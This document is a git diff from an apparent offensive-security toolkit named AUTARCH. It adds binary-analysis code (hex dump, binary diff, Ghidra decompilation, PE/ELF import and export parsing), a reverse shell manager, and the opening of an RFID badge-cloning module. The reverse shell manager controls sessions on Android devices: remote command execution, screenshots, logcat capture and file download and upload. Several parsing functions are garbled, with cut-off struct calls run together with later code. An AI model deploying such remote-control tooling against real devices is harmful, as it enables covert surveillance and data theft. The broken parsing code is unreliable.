# ── Hex Dump ───────────────────────────────────────────────────────── + + def hex_dump(self, file_path: str, offset: int = 0, length: int = 256) -> Dict[str, Any]: + """Generate formatted hex dump of a file region.""" + p = Path(file_path) + if not p.exists(): + return {'error': 'File not found'} + + try: + file_size = p.stat().st_size + with open(p, 'rb') as f: + f.seek(offset) + data = f.read(length) + except Exception as e: + return {'error': str(e)} + + lines = [] + for i in range(0, len(data), 16): + chunk = data[i:i + 16] + hex_part = ' '.join(f'{b:02x}' for b in chunk) + # Add spacing between 8-byte groups + if len(chunk) > 8: + hex_bytes = [f'{b:02x}' for b in chunk] + hex_part = ' '.join(hex_bytes[:8]) + ' ' + ' '.join(hex_bytes[8:]) + ascii_part = ''.join(chr(b) if 32 <= b < 127 else '.' for b in chunk) + lines.append({ + 'offset': f'{offset + i:08x}', + 'hex': hex_part, + 'ascii': ascii_part, + }) + + # Also produce a formatted text version + text_lines = [] + for line in lines: + text_lines.append(f'{line["offset"]} {line["hex"]:<49} |{line["ascii"]}|') + + return { + 'offset': offset, + 'length': len(data), + 'file_size': file_size, + 'lines': lines, + 'text': '\n'.join(text_lines), + } + + def hex_search(self, file_path: str, pattern: str) -> Dict[str, Any]: + """Search for a hex pattern in a binary file. Pattern: space/dash separated hex bytes.""" + p = Path(file_path) + if not p.exists(): + return {'error': 'File not found', 'matches': []} + + # Parse hex pattern + clean = re.sub(r'[^0-9a-fA-F?]', '', pattern.replace('??', 'FF')) + if len(clean) % 2 != 0: + return {'error': 'Invalid hex pattern (odd number of nibbles)', 'matches': []} + + try: + search_bytes = bytes.fromhex(re.sub(r'[^0-9a-fA-F]', '', pattern.replace(' ', '').replace('-', ''))) + except ValueError: + return {'error': 'Invalid hex pattern', 'matches': []} + + try: + with open(p, 'rb') as f: + data = f.read() + except Exception as e: + return {'error': str(e), 'matches': []} + + matches = [] + start = 0 + while True: + idx = data.find(search_bytes, start) + if idx == -1: + break + context = data[max(0, idx - 8):idx + len(search_bytes) + 8] + matches.append({ + 'offset': idx, + 'offset_hex': f'0x{idx:08x}', + 'context': context.hex(), + }) + start = idx + 1 + if len(matches) >= 1000: + break + + return { + 'pattern': search_bytes.hex(), + 'matches': matches, + 'total': len(matches), + 'file_size': len(data), + } + + # ── Binary Comparison ──────────────────────────────────────────────── + + def compare_binaries(self, file1: str, file2: str) -> Dict[str, Any]: + """Compare two binary files: sizes, hashes, section diffs, byte-level changes.""" + p1, p2 = Path(file1), Path(file2) + if not p1.exists(): + return {'error': f'File not found: {file1}'} + if not p2.exists(): + return {'error': f'File not found: {file2}'} + + try: + with open(p1, 'rb') as f: + data1 = f.read() + with open(p2, 'rb') as f: + data2 = f.read() + except Exception as e: + return {'error': str(e)} + + # Size comparison + size1, size2 = len(data1), len(data2) + + # Hashes + hashes1 = { + 'md5': hashlib.md5(data1).hexdigest(), + 'sha256': hashlib.sha256(data1).hexdigest(), + } + hashes2 = { + 'md5': hashlib.md5(data2).hexdigest(), + 'sha256': hashlib.sha256(data2).hexdigest(), + } + + identical = hashes1['sha256'] == hashes2['sha256'] + + # Byte-level diff summary + min_len = min(len(data1), len(data2)) + diff_count = 0 + diff_regions = [] + in_diff = False + diff_start = 0 + + for i in range(min_len): + if data1[i] != data2[i]: + diff_count += 1 + if not in_diff: + in_diff = True + diff_start = i + else: + if in_diff: + in_diff = False + diff_regions.append({ + 'offset': f'0x{diff_start:08x}', + 'length': i - diff_start, + }) + if in_diff: + diff_regions.append({ + 'offset': f'0x{diff_start:08x}', + 'length': min_len - diff_start, + }) + + # Add difference for size mismatch + if size1 != size2: + diff_count += abs(size1 - size2) + + # Section-level comparison for PE/ELF + section_diffs = [] + ft1 = self.get_file_type(file1) + ft2 = self.get_file_type(file2) + if ft1.get('type') == ft2.get('type') and ft1.get('type') in ('PE', 'ELF'): + if ft1['type'] == 'PE': + pe1, pe2 = self.parse_pe(file1), self.parse_pe(file2) + secs1 = {s['name']: s for s in pe1.get('sections', [])} + secs2 = {s['name']: s for s in pe2.get('sections', [])} + else: + elf1, elf2 = self.parse_elf(file1), self.parse_elf(file2) + secs1 = {s['name']: s for s in elf1.get('sections', [])} + secs2 = {s['name']: s for s in elf2.get('sections', [])} + + all_names = sorted(set(list(secs1.keys()) + list(secs2.keys()))) + for name in all_names: + s1 = secs1.get(name) + s2 = secs2.get(name) + if s1 and s2: + size_key = 'raw_size' if ft1['type'] == 'PE' else 'size' + section_diffs.append({ + 'name': name, + 'status': 'modified' if s1.get(size_key) != s2.get(size_key) else 'unchanged', + 'size_file1': s1.get(size_key, 0), + 'size_file2': s2.get(size_key, 0), + }) + elif s1: + section_diffs.append({'name': name, 'status': 'removed'}) + else: + section_diffs.append({'name': name, 'status': 'added'}) + + # Entropy comparison + ent1 = self.calculate_entropy(data1) + ent2 = self.calculate_entropy(data2) + + return { + 'file1': {'name': p1.name, 'size': size1, 'hashes': hashes1, 'entropy': ent1}, + 'file2': {'name': p2.name, 'size': size2, 'hashes': hashes2, 'entropy': ent2}, + 'identical': identical, + 'diff_bytes': diff_count, + 'diff_percentage': round((diff_count / max(max(size1, size2), 1)) * 100, 2), + 'diff_regions': diff_regions[:100], + 'diff_regions_total': len(diff_regions), + 'section_diffs': section_diffs, + } + + # ── Ghidra Integration ─────────────────────────────────────────────── + + def ghidra_decompile(self, file_path: str, function: Optional[str] = None) -> Dict[str, Any]: + """Run Ghidra headless analysis and return decompiled output.""" + p = Path(file_path) + if not p.exists(): + return {'error': 'File not found'} + + analyze_headless = find_tool('analyzeHeadless') + if not analyze_headless: + # Try common Ghidra install locations + ghidra_paths = [] + if os.name == 'nt': + for drive in ['C', 'D']: + ghidra_paths.extend([ + Path(f'{drive}:/ghidra/support/analyzeHeadless.bat'), + Path(f'{drive}:/Program Files/ghidra/support/analyzeHeadless.bat'), + ]) + else: + ghidra_paths.extend([ + Path('/opt/ghidra/support/analyzeHeadless'), + Path('/usr/local/ghidra/support/analyzeHeadless'), + Path.home() / 'ghidra' / 'support' / 'analyzeHeadless', + ]) + + for gp in ghidra_paths: + if gp.exists(): + analyze_headless = str(gp) + break + + if not analyze_headless: + return {'error': 'Ghidra not found. Install Ghidra and ensure analyzeHeadless is in PATH.'} + + # Create temporary project directory + with tempfile.TemporaryDirectory(prefix='autarch_ghidra_') as tmp_dir: + project_name = 'autarch_analysis' + + cmd = [ + analyze_headless, + tmp_dir, project_name, + '-import', str(p), + '-postScript', 'DecompileHeadless.java', + '-scriptlog', os.path.join(tmp_dir, 'script.log'), + '-deleteProject', + ] + + if function: + cmd.extend(['-scriptArgs', function]) + + try: + result = subprocess.run( + cmd, capture_output=True, text=True, timeout=300, + cwd=tmp_dir) + + output = result.stdout + '\n' + result.stderr + + # Try to read script output + log_path = os.path.join(tmp_dir, 'script.log') + script_output = '' + if os.path.exists(log_path): + with open(log_path, 'r') as f: + script_output = f.read() + + return { + 'output': output, + 'script_output': script_output, + 'return_code': result.returncode, + 'function': function, + } + except subprocess.TimeoutExpired: + return {'error': 'Ghidra analysis timed out (300s limit)'} + except Exception as e: + return {'error': f'Ghidra execution failed: {e}'} + + # ── Import / Export Extraction ─────────────────────────────────────── + + def get_imports(self, file_path: str) -> List[Dict[str, Any]]: + """Extract imported functions from PE or ELF binary.""" + ft = self.get_file_type(file_path) + ftype = ft.get('type', '') + + if ftype == 'PE': + return self._get_pe_imports(file_path) + elif ftype == 'ELF': + return self._get_elf_imports(file_path) + return [] + + def _get_pe_imports(self, file_path: str) -> List[Dict[str, Any]]: + """Parse PE import directory table.""" + pe = self.parse_pe(file_path) + if 'error' in pe: + return [] + + try: + with open(file_path, 'rb') as f: + data = f.read() + except Exception: + return [] + + # Find import directory RVA + import_dir = None + for dd in pe.get('data_directories', []): + if dd['name'] == 'Import': + import_dir = dd + break + + if not import_dir: + return [] + + import_rva = int(import_dir['rva'], 16) + if import_rva == 0: + return [] + + # Convert RVA to file offset using section mapping + sections = pe.get('sections', []) + + def rva_to_offset(rva): + for sec in sections: + sec_va = int(sec['virtual_address'], 16) + sec_raw = sec['raw_offset'] + sec_vs = sec['virtual_size'] + if sec_va <= rva < sec_va + sec_vs: + return sec_raw + (rva - sec_va) + return rva + + imports = [] + offset = rva_to_offset(import_rva) + + # Read Import Directory entries (20 bytes each) + while offset + 20 <= len(data): + ilt_rva, timestamp, forwarder, name_rva, iat_rva = struct.unpack_from(' List[Dict[str, Any]]: + """Extract imported symbols from ELF dynamic symbol table.""" + elf = self.parse_elf(file_path) + if 'error' in elf: + return [] + + try: + with open(file_path, 'rb') as f: + data = f.read() + except Exception: + return [] + + is_64 = '64-bit' in elf.get('class', '') + endian = '<' if 'Little' in elf.get('endianness', 'Little') else '>' + + # Find .dynsym and .dynstr sections + dynsym_sec = None + dynstr_sec = None + for sec in elf.get('sections', []): + if sec['name'] == '.dynsym': + dynsym_sec = sec + elif sec['name'] == '.dynstr': + dynstr_sec = sec + + if not dynsym_sec or not dynstr_sec: + return [] + + # Read string table + str_off = dynstr_sec['offset'] + str_size = dynstr_sec['size'] + if str_off + str_size > len(data): + return [] + strtab = data[str_off:str_off + str_size] + + # Read symbol table + sym_off = dynsym_sec['offset'] + sym_size = dynsym_sec['size'] + entry_size = 24 if is_64 else 16 + + imports = [] + for i in range(0, sym_size, entry_size): + off = sym_off + i + if is_64 and off + 24 <= len(data): + st_name, st_info, st_other, st_shndx, st_value, st_size = struct.unpack_from( + f'{endian}IBBHQQ', data, off) + elif not is_64 and off + 16 <= len(data): + st_name, st_value, st_size, st_info, st_other, st_shndx = struct.unpack_from( + f'{endian}IIIBBH', data, off) + else: + break + + # Undefined symbols (imports) have shndx == 0 + if st_shndx == 0 and st_name > 0 and st_name < len(strtab): + end = strtab.find(b'\x00', st_name) + if end != -1: + sym_name = strtab[st_name:end].decode('ascii', errors='replace') + if sym_name: + bind = (st_info >> 4) & 0xf + sym_type = st_info & 0xf + bind_str = {0: 'LOCAL', 1: 'GLOBAL', 2: 'WEAK'}.get(bind, str(bind)) + type_str = {0: 'NOTYPE', 1: 'OBJECT', 2: 'FUNC'}.get(sym_type, str(sym_type)) + imports.append({ + 'name': sym_name, + 'bind': bind_str, + 'type': type_str, + }) + + # Group by library if possible (from NEEDED entries in dynamic section) + needed_libs = [] + for dyn in elf.get('dynamic', []): + if dyn['tag'] == 1: # DT_NEEDED + val = int(dyn['value'], 16) + if val < len(strtab): + end = strtab.find(b'\x00', val) + if end != -1: + needed_libs.append(strtab[val:end].decode('ascii', errors='replace')) + + result = [{'library': lib, 'functions': [], 'count': 0} for lib in needed_libs] + if imports: + ungrouped = {'library': '(dynamic imports)', 'functions': imports, 'count': len(imports)} + result.append(ungrouped) + + return result + + def get_exports(self, file_path: str) -> List[Dict[str, Any]]: + """Extract exported functions from PE or ELF binary.""" + ft = self.get_file_type(file_path) + ftype = ft.get('type', '') + + if ftype == 'PE': + return self._get_pe_exports(file_path) + elif ftype == 'ELF': + return self._get_elf_exports(file_path) + return [] + + def _get_pe_exports(self, file_path: str) -> List[Dict[str, Any]]: + """Parse PE export directory table.""" + pe = self.parse_pe(file_path) + if 'error' in pe: + return [] + + try: + with open(file_path, 'rb') as f: + data = f.read() + except Exception: + return [] + + export_dir = None + for dd in pe.get('data_directories', []): + if dd['name'] == 'Export': + export_dir = dd + break + + if not export_dir: + return [] + + export_rva = int(export_dir['rva'], 16) + if export_rva == 0: + return [] + + sections = pe.get('sections', []) + + def rva_to_offset(rva): + for sec in sections: + sec_va = int(sec['virtual_address'], 16) + sec_raw = sec['raw_offset'] + sec_vs = sec['virtual_size'] + if sec_va <= rva < sec_va + sec_vs: + return sec_raw + (rva - sec_va) + return rva + + offset = rva_to_offset(export_rva) + if offset + 40 > len(data): + return [] + + _, timestamp, major_ver, minor_ver, name_rva, ordinal_base, \ + num_functions, num_names, addr_functions_rva, addr_names_rva, \ + addr_ordinals_rva = struct.unpack_from(' len(data): + break + name_rva = struct.unpack_from('' + else: + func_name = f'' + + ordinal = 0 + if ordinals_offset + (i + 1) * 2 <= len(data): + ordinal = struct.unpack_from(' List[Dict[str, Any]]: + """Extract exported (defined GLOBAL/WEAK) symbols from ELF.""" + elf = self.parse_elf(file_path) + if 'error' in elf: + return [] + + try: + with open(file_path, 'rb') as f: + data = f.read() + except Exception: + return [] + + is_64 = '64-bit' in elf.get('class', '') + endian = '<' if 'Little' in elf.get('endianness', 'Little') else '>' + + # Find .dynsym and .dynstr + dynsym_sec = None + dynstr_sec = None + for sec in elf.get('sections', []): + if sec['name'] == '.dynsym': + dynsym_sec = sec + elif sec['name'] == '.dynstr': + dynstr_sec = sec + + if not dynsym_sec or not dynstr_sec: + return [] + + str_off = dynstr_sec['offset'] + str_size = dynstr_sec['size'] + if str_off + str_size > len(data): + return [] + strtab = data[str_off:str_off + str_size] + + sym_off = dynsym_sec['offset'] + sym_size = dynsym_sec['size'] + entry_size = 24 if is_64 else 16 + + exports = [] + for i in range(0, sym_size, entry_size): + off = sym_off + i + if is_64 and off + 24 <= len(data): + st_name, st_info, st_other, st_shndx, st_value, st_size = struct.unpack_from( + f'{endian}IBBHQQ', data, off) + elif not is_64 and off + 16 <= len(data): + st_name, st_value, st_size, st_info, st_other, st_shndx = struct.unpack_from( + f'{endian}IIIBBH', data, off) + else: + break + + # Exported = defined (shndx != 0) and GLOBAL or WEAK binding + bind = (st_info >> 4) & 0xf + if st_shndx != 0 and bind in (1, 2) and st_name > 0 and st_name < len(strtab): + end = strtab.find(b'\x00', st_name) + if end != -1: + sym_name = strtab[st_name:end].decode('ascii', errors='replace') + if sym_name: + sym_type = st_info & 0xf + type_str = {0: 'NOTYPE', 1: 'OBJECT', 2: 'FUNC'}.get(sym_type, str(sym_type)) + exports.append({ + 'name': sym_name, + 'address': f'0x{st_value:x}', + 'type': type_str, + 'size': st_size, + }) + + return exports + + # ── Utility Methods ────────────────────────────────────────────────── + + @staticmethod + def _human_size(size: int) -> str: + """Convert bytes to human-readable string.""" + for unit in ['B', 'KB', 'MB', 'GB', 'TB']: + if size < 1024: + return f'{size:.1f} {unit}' if unit != 'B' else f'{size} {unit}' + size /= 1024 + return f'{size:.1f} PB' + + def print_status(self, message: str, status: str = "info"): + colors = {"info": Colors.CYAN, "success": Colors.GREEN, + "warning": Colors.YELLOW, "error": Colors.RED} + symbols = {"info": "*", "success": "+", "warning": "!", "error": "X"} + print(f"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}") + + # ── CLI Interface ──────────────────────────────────────────────────── + + def show_menu(self): + clear_screen() + display_banner() + print(f"{Colors.CYAN}{Colors.BOLD} Reverse Engineering Toolkit{Colors.RESET}") + print(f"{Colors.DIM} Binary analysis, disassembly & YARA scanning{Colors.RESET}") + print(f"{Colors.DIM} {'=' * 50}{Colors.RESET}") + print() + print(f" {Colors.CYAN}[1]{Colors.RESET} Analyze Binary") + print(f" {Colors.CYAN}[2]{Colors.RESET} Disassemble") + print(f" {Colors.CYAN}[3]{Colors.RESET} YARA Scan") + print(f" {Colors.CYAN}[4]{Colors.RESET} Hex Dump") + print(f" {Colors.CYAN}[5]{Colors.RESET} Detect Packer") + print(f" {Colors.CYAN}[6]{Colors.RESET} Compare Binaries") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + def cli_analyze(self): + filepath = input(f"{Colors.WHITE} Enter file path: {Colors.RESET}").strip() + if not filepath: + return + result = self.analyze_binary(filepath) + if 'error' in result: + self.print_status(result['error'], 'error') + return + print(f"\n{Colors.CYAN}{'=' * 60}{Colors.RESET}") + print(f" {Colors.BOLD}{result['name']}{Colors.RESET}") + print(f" Type: {result['file_type'].get('type', 'unknown')} | " + f"Arch: {result['architecture']} | Size: {result['size_human']}") + print(f"\n {Colors.CYAN}Hashes:{Colors.RESET}") + for algo, val in result['hashes'].items(): + print(f" {algo.upper():8} {val}") + print(f"\n {Colors.CYAN}Entropy:{Colors.RESET} {result['entropy']} ({result['entropy_level']})") + if result['section_entropy']: + for s in result['section_entropy']: + bar = '#' * int(s['entropy'] * 3) + color = Colors.RED if s['entropy'] > 7.0 else (Colors.YELLOW if s['entropy'] > 6.0 else Colors.GREEN) + print(f" {s['name']:12} {color}{s['entropy']:.2f}{Colors.RESET} {bar}") + print(f"\n {Colors.CYAN}Strings:{Colors.RESET} {result['strings_count']} found") + if result['packer']['detected']: + print(f"\n {Colors.RED}Packer Detected:{Colors.RESET}") + for d in result['packer']['detections']: + print(f" {d['packer']} (confidence: {d['confidence']}%)") + + def cli_disassemble(self): + filepath = input(f"{Colors.WHITE} Enter file path: {Colors.RESET}").strip() + if not filepath: + return + section = input(f"{Colors.WHITE} Section [.text]: {Colors.RESET}").strip() or '.text' + count = input(f"{Colors.WHITE} Instruction count [50]: {Colors.RESET}").strip() or '50' + try: + count = int(count) + except ValueError: + count = 50 + + results = self.disassemble_file(filepath, section=section, count=count) + if results and 'error' in results[0]: + self.print_status(results[0]['error'], 'error') + return + print(f"\n{Colors.CYAN}{'Address':<14} {'Bytes':<24} {'Mnemonic':<10} {'Operands'}{Colors.RESET}") + print(f"{'-' * 70}") + for inst in results: + print(f" {inst['address']:<12} {inst.get('bytes_hex', ''):<22} " + f"{Colors.CYAN}{inst['mnemonic']:<10}{Colors.RESET} {inst.get('op_str', '')}") + + def cli_yara_scan(self): + filepath = input(f"{Colors.WHITE} Enter file path to scan: {Colors.RESET}").strip() + if not filepath: + return + rules_path = input(f"{Colors.WHITE} YARA rules file (or Enter for all): {Colors.RESET}").strip() or None + result = self.yara_scan(filepath, rules_path=rules_path) + if 'error' in result and result['error']: + self.print_status(result['error'], 'error') + if result.get('matches'): + print(f"\n {Colors.RED}Matches: {result['total']}{Colors.RESET}") + for m in result['matches']: + print(f" Rule: {m['rule']}") + for s in m.get('strings', [])[:5]: + print(f" 0x{s.get('offset', 0):08x}: {s.get('identifier', '')} = {s.get('data', '')}") + else: + self.print_status("No matches found", "info") + + def cli_hex_dump(self): + filepath = input(f"{Colors.WHITE} Enter file path: {Colors.RESET}").strip() + if not filepath: + return + offset = input(f"{Colors.WHITE} Offset [0]: {Colors.RESET}").strip() or '0' + length = input(f"{Colors.WHITE} Length [256]: {Colors.RESET}").strip() or '256' + try: + offset = int(offset, 0) + length = int(length, 0) + except ValueError: + self.print_status("Invalid offset or length", "error") + return + result = self.hex_dump(filepath, offset, length) + if 'error' in result: + self.print_status(result['error'], 'error') + return + print(f"\n{Colors.CYAN}{result['text']}{Colors.RESET}") + + def cli_detect_packer(self): + filepath = input(f"{Colors.WHITE} Enter file path: {Colors.RESET}").strip() + if not filepath: + return + result = self.detect_packer(filepath) + if 'error' in result: + self.print_status(result['error'], 'error') + return + if result['detected']: + print(f"\n {Colors.RED}Packer(s) Detected:{Colors.RESET}") + for d in result['detections']: + print(f" {d['packer']} — confidence {d['confidence']}%") + print(f" {d['description']}") + for e in d.get('evidence', []): + print(f" {e}") + else: + self.print_status("No packer detected", "success") + print(f" Entropy: {result.get('overall_entropy', 0):.4f}") + + def cli_compare(self): + file1 = input(f"{Colors.WHITE} First file: {Colors.RESET}").strip() + file2 = input(f"{Colors.WHITE} Second file: {Colors.RESET}").strip() + if not file1 or not file2: + return + result = self.compare_binaries(file1, file2) + if 'error' in result: + self.print_status(result['error'], 'error') + return + f1, f2 = result['file1'], result['file2'] + print(f"\n{Colors.CYAN}{'=' * 60}{Colors.RESET}") + print(f" File 1: {f1['name']} ({f1['size']:,} bytes, entropy {f1['entropy']:.2f})") + print(f" File 2: {f2['name']} ({f2['size']:,} bytes, entropy {f2['entropy']:.2f})") + if result['identical']: + self.print_status("Files are identical", "success") + else: + print(f"\n {Colors.YELLOW}Different bytes: {result['diff_bytes']:,} ({result['diff_percentage']}%){Colors.RESET}") + print(f" Diff regions: {result['diff_regions_total']}") + for sd in result.get('section_diffs', []): + status_color = Colors.RED if sd['status'] != 'unchanged' else Colors.GREEN + print(f" {sd['name']:16} {status_color}{sd['status']}{Colors.RESET}") + + def run(self): + while True: + self.show_menu() + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + if choice == "0": + break + elif choice == "1": + self.cli_analyze() + elif choice == "2": + self.cli_disassemble() + elif choice == "3": + self.cli_yara_scan() + elif choice == "4": + self.cli_hex_dump() + elif choice == "5": + self.cli_detect_packer() + elif choice == "6": + self.cli_compare() + + if choice in ["1", "2", "3", "4", "5", "6"]: + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + except (EOFError, KeyboardInterrupt): + break + + +# ── Singleton ──────────────────────────────────────────────────────────────── + +_instance = None + +def get_reverse_eng() -> ReverseEngineer: + global _instance + if _instance is None: + _instance = ReverseEngineer() + return _instance + + +def run(): + get_reverse_eng().run() + + +if __name__ == "__main__": + run() diff --git a/modules/revshell.py b/modules/revshell.py new file mode 100644 index 0000000..997dbf6 --- /dev/null +++ b/modules/revshell.py @@ -0,0 +1,365 @@ +""" +Reverse Shell Manager - Manage incoming reverse shell connections from Archon companion app. +Control the RevShell listener, manage sessions, execute commands, transfer files. +""" + +DESCRIPTION = "Reverse Shell — remote device management via Archon" +AUTHOR = "AUTARCH" +VERSION = "1.0" +CATEGORY = "offense" + +import sys +from pathlib import Path +sys.path.insert(0, str(Path(__file__).parent.parent)) + + +class RevShellManager: + """Interactive reverse shell management menu.""" + + def __init__(self): + from core.revshell import get_listener + self._get_listener = get_listener + + @property + def listener(self): + return self._get_listener() + + def show_menu(self): + li = self.listener + sessions = li.list_sessions() + alive = [s for s in sessions if s.get('alive', False)] + + print(f"\n{'='*55}") + print(" Reverse Shell Manager") + print(f"{'='*55}") + print(f" Listener: {'RUNNING on ' + str(li.host) + ':' + str(li.port) if li.running else 'Stopped'}") + print(f" Sessions: {len(alive)} active, {len(sessions)} total") + if li.running: + print(f" Token: {li.auth_token}") + print() + print(" -- Listener --") + print(" 1) Start Listener") + print(" 2) Stop Listener") + print(" 3) Listener Status") + print() + print(" -- Sessions --") + print(" 10) List Sessions") + print(" 11) Select Session (interactive shell)") + print(" 12) Execute Command") + print(" 13) Disconnect Session") + print() + print(" -- Device Info --") + print(" 20) System Info") + print(" 21) Installed Packages") + print(" 22) Running Processes") + print(" 23) Network Connections") + print(" 24) Logcat Output") + print() + print(" -- Capture --") + print(" 30) Take Screenshot") + print(" 31) Download File") + print(" 32) Upload File") + print() + print(" 0) Back") + print() + + # ── Helpers ───────────────────────────────────────────────────── + + def _pick_session(self, prompt=" Select session #: "): + """Let user pick a session from the list.""" + sessions = self.listener.list_sessions() + alive = [s for s in sessions if s.get('alive', False)] + if not alive: + print(" No active sessions.") + return None + print("\n Active Sessions:") + for i, s in enumerate(alive, 1): + uptime_m = s.get('uptime', 0) // 60 + print(f" {i}) [{s['session_id'][:8]}] {s['device']} " + f"(Android {s['android']}, UID {s['uid']}) — {uptime_m}m") + try: + choice = int(input(prompt).strip()) + if 1 <= choice <= len(alive): + return alive[choice - 1]['session_id'] + except (ValueError, EOFError, KeyboardInterrupt): + pass + return None + + def _get_session_obj(self, sid): + """Get the actual session object.""" + session = self.listener.get_session(sid) + if not session or not session.alive: + print(f" Session {sid} not found or dead.") + return None + return session + + # ── Listener ──────────────────────────────────────────────────── + + def do_start(self): + if self.listener.running: + print(" Listener already running.") + return + try: + host = input(f" Bind address [0.0.0.0]: ").strip() or '0.0.0.0' + port_s = input(f" Port [17322]: ").strip() or '17322' + token = input(f" Auth token (blank=random): ").strip() or None + except (EOFError, KeyboardInterrupt): + return + + from core.revshell import start_listener + ok, msg = start_listener(host=host, port=int(port_s), token=token) + if ok: + print(f" {msg}") + print(f" Token: {self.listener.auth_token}") + else: + print(f" Error: {msg}") + + def do_stop(self): + if not self.listener.running: + print(" Listener not running.") + return + from core.revshell import stop_listener + stop_listener() + print(" Listener stopped.") + + def do_status(self): + li = self.listener + print(f"\n Listener Status:") + print(f" Running: {li.running}") + print(f" Host: {li.host}") + print(f" Port: {li.port}") + print(f" Token: {li.auth_token}") + sessions = li.list_sessions() + alive = [s for s in sessions if s.get('alive', False)] + print(f" Sessions: {len(alive)} active, {len(sessions)} total") + + # ── Sessions ──────────────────────────────────────────────────── + + def do_list_sessions(self): + sessions = self.listener.list_sessions() + if not sessions: + print("\n No sessions.") + return + print(f"\n {'ID':<14} {'Device':<20} {'Android':<10} {'UID':<6} {'Uptime':<10} {'Cmds':<6} {'Status'}") + print(f" {'-'*80}") + for s in sessions: + uptime_m = s.get('uptime', 0) // 60 + status = 'ALIVE' if s.get('alive') else 'DEAD' + print(f" {s['session_id']:<14} {s['device']:<20} {s['android']:<10} " + f"{s['uid']:<6} {uptime_m}m{'':<7} {s.get('commands_executed', 0):<6} {status}") + + def do_interactive_shell(self): + sid = self._pick_session() + if not sid: + return + session = self._get_session_obj(sid) + if not session: + return + + print(f"\n Interactive shell — {session.device_name} (Android {session.android_version})") + print(f" Type 'exit' or Ctrl+C to leave.\n") + + while session.alive: + try: + cmd = input(f" {session.device_name}$ ").strip() + except (EOFError, KeyboardInterrupt): + print() + break + if not cmd: + continue + if cmd.lower() in ('exit', 'quit'): + break + + result = session.execute(cmd, timeout=30) + if result['stdout']: + for line in result['stdout'].rstrip('\n').split('\n'): + print(f" {line}") + if result['stderr']: + for line in result['stderr'].rstrip('\n').split('\n'): + print(f" [stderr] {line}") + if result['exit_code'] != 0: + print(f" [exit code: {result['exit_code']}]") + + def do_execute_command(self): + sid = self._pick_session() + if not sid: + return + session = self._get_session_obj(sid) + if not session: + return + try: + cmd = input(" Command: ").strip() + timeout_s = input(" Timeout [30]: ").strip() or '30' + except (EOFError, KeyboardInterrupt): + return + if not cmd: + return + + print(f" Executing on {session.device_name}...") + result = session.execute(cmd, timeout=int(timeout_s)) + if result['stdout']: + print(f"\n --- stdout ---") + for line in result['stdout'].rstrip('\n').split('\n'): + print(f" {line}") + if result['stderr']: + print(f"\n --- stderr ---") + for line in result['stderr'].rstrip('\n').split('\n'): + print(f" {line}") + print(f"\n Exit code: {result['exit_code']}") + + def do_disconnect_session(self): + sid = self._pick_session(" Session to disconnect #: ") + if not sid: + return + self.listener.remove_session(sid) + print(f" Session {sid} disconnected.") + + # ── Device Info ───────────────────────────────────────────────── + + def _run_special(self, label, method_name, **kwargs): + sid = self._pick_session() + if not sid: + return + session = self._get_session_obj(sid) + if not session: + return + print(f" Fetching {label} from {session.device_name}...") + method = getattr(session, method_name) + result = method(**kwargs) + if result.get('exit_code', -1) == 0: + output = result.get('stdout', '') + if output: + for line in output.rstrip('\n').split('\n'): + print(f" {line}") + else: + print(f" (no output)") + else: + print(f" Error: {result.get('stderr', 'Failed')}") + + def do_sysinfo(self): + self._run_special("system info", "sysinfo") + + def do_packages(self): + self._run_special("packages", "packages") + + def do_processes(self): + self._run_special("processes", "processes") + + def do_netstat(self): + self._run_special("network connections", "netstat") + + def do_logcat(self): + try: + lines = input(" Lines [100]: ").strip() or '100' + except (EOFError, KeyboardInterrupt): + return + sid = self._pick_session() + if not sid: + return + session = self._get_session_obj(sid) + if not session: + return + print(f" Fetching logcat ({lines} lines) from {session.device_name}...") + result = session.dumplog(lines=int(lines)) + if result.get('exit_code', -1) == 0: + output = result.get('stdout', '') + if output: + for line in output.rstrip('\n').split('\n'): + print(f" {line}") + else: + print(f" Error: {result.get('stderr', 'Failed')}") + + # ── Capture ───────────────────────────────────────────────────── + + def do_screenshot(self): + sid = self._pick_session() + if not sid: + return + print(f" Taking screenshot...") + filepath = self.listener.save_screenshot(sid) + if filepath: + print(f" Saved: {filepath}") + else: + print(f" Screenshot failed.") + + def do_download(self): + sid = self._pick_session() + if not sid: + return + try: + remote_path = input(" Remote file path: ").strip() + except (EOFError, KeyboardInterrupt): + return + if not remote_path: + return + print(f" Downloading {remote_path}...") + filepath = self.listener.save_download(sid, remote_path) + if filepath: + print(f" Saved: {filepath}") + else: + print(f" Download failed.") + + def do_upload(self): + sid = self._pick_session() + if not sid: + return + try: + local_path = input(" Local file path: ").strip() + remote_path = input(" Remote destination: ").strip() + except (EOFError, KeyboardInterrupt): + return + if not local_path or not remote_path: + return + if not Path(local_path).exists(): + print(f" Local file not found: {local_path}") + return + + session = self._get_session_obj(sid) + if not session: + return + print(f" Uploading to {remote_path}...") + result = session.upload(local_path, remote_path) + if result.get('exit_code', -1) == 0: + print(f" Upload complete.") + else: + print(f" Error: {result.get('stderr', 'Failed')}") + + # ── Main Loop ────────────────────────────────────────────────── + + def run_interactive(self): + while True: + self.show_menu() + try: + choice = input(" Select > ").strip() + except (EOFError, KeyboardInterrupt): + break + if choice == '0': + break + + actions = { + '1': self.do_start, + '2': self.do_stop, + '3': self.do_status, + '10': self.do_list_sessions, + '11': self.do_interactive_shell, + '12': self.do_execute_command, + '13': self.do_disconnect_session, + '20': self.do_sysinfo, + '21': self.do_packages, + '22': self.do_processes, + '23': self.do_netstat, + '24': self.do_logcat, + '30': self.do_screenshot, + '31': self.do_download, + '32': self.do_upload, + } + action = actions.get(choice) + if action: + action() + else: + print(" Invalid choice.") + + +def run(): + mgr = RevShellManager() + mgr.run_interactive() diff --git a/modules/rfid_tools.py b/modules/rfid_tools.py new file mode 100644 index 0000000..70166b7 --- /dev/null +++ b/modules/rfid_tools.py @@ -0,0 +1,455 @@ +"""AUTARCH RFID/NFC Tools + +Proxmark3 integration, badge cloning, NFC read/write, MIFARE operations, +and card analysis for physical access security testing. +""" + +DESCRIPTION = "RFID/NFC badge cloning & analysis" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "analyze" + +import os +import re +import json +import time +import shutil +import subprocess +from pathlib import Path +from datetime import datetime, timezone +from typing import Dict, List, Optional, Any + +try: + from core.paths import find_tool, get_data_dir +except ImportError: + def find_tool(name): + return shutil.which(name) + def get_data_dir(): + return str(Path(__file__).parent.parent 